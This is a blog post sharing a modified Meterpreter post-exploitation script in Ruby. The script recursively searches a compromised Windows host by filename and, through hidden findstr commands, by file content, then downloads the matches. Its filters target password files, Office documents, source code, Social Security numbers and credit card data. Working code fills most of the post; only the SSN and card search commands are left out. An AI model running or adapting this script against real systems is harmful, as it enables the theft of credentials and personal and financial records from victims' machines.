Meterpreter Script Rehack – search_dwld.rb
The search_dwld.rb Meterpreter script is fairly cool. Noisy (noted in script heading), but cool. It basically recursively works the directory structure looking for filenames that match a given filter pattern. When it finds one, it downloads it.
Recently I had the need to incorporate some search and download functions of my own. The only difference being that I wanted to download files based on content and not on filename. I also wanted to pull this off without having to upload anything, grep/etc., to the exploited machine. I started looking at the ‘findstr’ command for Windows.
For those not familiar with ‘findstr’, it’s truly a horrid bitch of an excuse for ASCII content searching. The real issue for me being the joke of a “regex” engine it advertises. That said, we can make it work for cheap patterns. With a little help from another script that had an example of channelizing commands and a little more hacking we pieced together a fairly decent little name search + content search.
## Meterpreter script that recursively search and download ## files matching a given pattern ## Provided by Nicob <nicob [at] nicob.net> ## with fresh BBQHAX by Saint Patrick <saintpatrick [at] l1pht.com> ## **************************************** ## *** Public version slightly defanged *** ## **************************************** ## == WARNING == ## As said by mmiller, this kind of script is slow and noisy : ## http://www.metasploit.com/archive/framework/msg01670.html ## However, it can sometimes save your ass ;-) ## == WARNING == # Filters $filters = { 'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$', 'win9x' => '\.pwl$', 'passwd' => '(pass|pwd)', 'pr0n' => '\.(avi|mpg|mp4)$', 'source' => '\.(c|cpp|vb|cs|php|asp|aspx)$', 'ascii' => '\.asc$', 'ssn' => '\*', 'cc' => '\*', 'free' => args[2] } # Get arguments basedir = args[0] || "C:\\" $filter = args[1] || "office" $session = client host,port = $session.tunnel_peer.split(':') # commands removed and left as an exercise for the user $ssn_commands = [''] $cc_commands = [''] # Function for running a list a findstr commands stored in a array, returns string # Jacked most of this code from the winenum script def findstr_exec(session,cmdlst,path) tmpout = "" cmdout = "" r='' session.response_timeout=120 cmdlst.each do |cmd| begin r = session.sys.process.execute("#{cmd} \"#{path}\\*\"", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) if (d !~ /FINDSTR/) tmpout << d end end cmdout << tmpout r.channel.close r.close rescue ::Exception => e print_status("Error Running Command #{cmd}: #{e.class} #{e}") end end cmdout end # Pulled the downloading out into this function. # Pass it a path and go. def downloadthis(fullpath) # Replace ':' or '%' or '\' by '_' dst = fullpath.tr_s(":|\%|\\", "_") dst = ::Dir.tmpdir + ::File::Separator + dst print_line("Downloading '#{fullpath}' to '#{dst}'") print_status("#{fullpath}") client.fs.file.download_file(dst, fullpath) end # Function scan() def scan(path) client.fs.dir.foreach(path) {|x| next if x =~ /^(\.|\.\.)$/ fullpath = path + '\\' + x if client.fs.file.stat(fullpath).directory? if $filters.index($filters[$filter]) == 'ssn' results = findstr_exec($session,$ssn_commands,fullpath) # Split into array and remove dupes results = results.split(/\n/).uniq! if results != nil results.each do |dlresult| downloadthis(dlresult.chomp!) end end elsif $filters.index($filters[$filter]) == 'cc' results = findstr_exec($session,$cc_commands,fullpath) results = results.split(/\n/).uniq! if results != nil results.each do |dlresult| downloadthis(dlresult.chomp!) end end end scan(fullpath) elsif fullpath =~ /#{$motif}/i downloadthis(fullpath) end } end if basedir == "-h" then # Display usage print_line "[=] Usage :" print_line "[-] run search_dwld [base directory] [filter] [pattern]" print_line "[-] [filter] can be a already defined pattern or 'free'" print_line "[=] Examples :" print_line "[-] run search_dwld" print_line "[-] => recursively look for (MS|Open)Office in C:\\" print_line "[-] run search_dwld %USERPROFILE% win9x" print_line "[-] => recursively look for *.PWL files in the user home directory" print_line "[-] run search_dwld E:\\ free '\.(jpg|png|gif)$'" print_line "[-] => recursively look for pictures in the E: drive" puts # Display the filters available to the user puts "[=] =====Available Filters=====" $filters.each_key {|key| puts "[-] " + key } elsif # Set the regexp $motif = $filters[$filter] # Search and download scan(basedir) end |
So, this script is set to run a given list of ‘findstr’ commands (not included in public version) for the ‘ssn’ and ‘cc’ filters. We use the output of these commands to launch downloads. I also added a filter display to the ‘-h’ usage info. Now if we’re doing some testing and for whatever reason can’t seem to locate something interesting there’s this handy little job for really cranking through files looking at the contents.
Improvements could be made in the ‘findstr_exec’ function since it’s ‘findstr’ specific. Another thing to look at might be checking out what can be done with WMI if available. For now, this is what I’ve got.

